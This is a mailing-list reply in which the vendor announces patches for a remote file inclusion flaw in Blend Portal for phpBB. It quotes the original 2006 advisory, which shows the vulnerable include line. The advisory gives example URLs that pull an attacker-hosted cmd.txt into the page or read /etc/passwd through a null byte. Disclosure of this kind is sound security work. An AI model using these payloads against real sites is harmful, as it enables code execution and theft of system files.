[Full-disclosure] RE: Advisory: Blend Portal <= 1.2.0 for phpBB 2.x(blend_data/blend_common.php) File Inclusion Vulnerability

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I have addressed this issue & the one reported about the Activity Mod Plus. 
Below is a link to patches for both. Thanks.

http://phpbb-tweaks.com/topics.html-p-17623#17623



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>From: Mustafa Can Bjorn IPEKCI <nukedx@xxxxxxxxxx>
>To: submit@xxxxxxxxxxx, 
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>Subject: Advisory: Blend Portal <= 1.2.0 for phpBB 
>2.x(blend_data/blend_common.php) File Inclusion Vulnerability
>Date: Sun, 28 May 2006 20:46:39 +0300
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>--Security Report--
>Advisory: Blend Portal <= 1.2.0 for phpBB 2.x  
>(blend_data/blend_common.php) File Inclusion Vulnerability.
>---
>Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
>---
>Date: 28/05/06 07:52 PM
>---
>Contacts:{
>ICQ: 10072
>MSN/Email: nukedx@xxxxxxxxxx
>Web: http://www.nukedx.com
>}
>---
>Vendor: phpbb-portal (http://www.phpbb-portal.com/)
>Version: 1.2.0 and prior versions must be affected.
>About: Via this methods remote attacker can include arbitrary  
>internal/external files to phpBB. phpbb_root_path
>variable in /blend_data/blend_common.php did not sanitized properly  before 
>using it.You can find vulnerable code in
>blend_common.php at lines 74-77
>-Source in blend_common.php-
>74: else
>75: {
>76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH  
>.'config.'. $phpEx);
>77: }
>-End of source-
>Level: Highly Critical
>---
>How&Example:
>Succesful exploitation needs register_globals on & allow url_fopen on
>GET ->  
>http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE]
>EXAMPLE ->  
>http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt?
>EXAMPLE ->  
>http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=/etc/passwd%00
>---
>Timeline:
>* 28/05/2006: Vulnerability found.
>* 28/05/2006: Contacted with vendor and waiting reply.
>---
>Exploit: http://www.nukedx.com/?getxpl=41
>---
>Original advisory can be found at: http://www.nukedx.com/?viewdoc=41
>

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